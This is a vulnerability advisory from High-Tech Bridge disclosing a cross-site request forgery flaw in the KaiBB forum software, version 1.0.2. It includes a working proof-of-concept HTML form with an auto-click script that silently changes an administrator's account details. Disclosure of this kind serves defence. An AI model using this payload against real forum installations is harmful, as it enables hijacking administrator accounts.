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Cross-site Request Forgery (CSRF) in KaiBB

Advisory ID:HTB22793
Product:KaiBB
Vendor:Mi-Dia
Vulnerable Versions:1.0.2 and probably prior
Tested Version:1.0.2
Advisory Publication:January 13, 2011 [without technical details]
Vendor Notification:January 13, 2011
Public Disclosure:January 27, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in KaiBB which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in KaiBB
The vulnerability exists due to insufficient validation of the request origin in admin/core/account.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/admin/?area=users&s=account&a=USERID" method="post">
<input type="hidden" name="regemail" value="email@example.com">
<input type="hidden" name="regpass" value="">
<input type="hidden" name="regname" value="test">
<input type="hidden" name="justip" value="0">
<input type="hidden" name="reglevel" value="2">
<input type="hidden" name="rankselect" value="1">
<input type="hidden" name="sfrozen" value="0">
<input type="hidden" name="notes" value="">
<input type="hidden" name="signature" value="">
<input type="submit" id="btn" name="Submit" value="Update">
</form>
<script>
document.getElementById('btn').click();

</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22793 - https://www.immuniweb.com/advisory/HTB22793 - Cross-site Request Forgery (CSRF) in KaiBB
[2] KaiBB - mi-dia.co.uk - KaiBB is a free and open source bulletin board / forum software written in PHP.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
Related Security Advisories: HTB22747: Multiple Vulnerabilities in KaiBB

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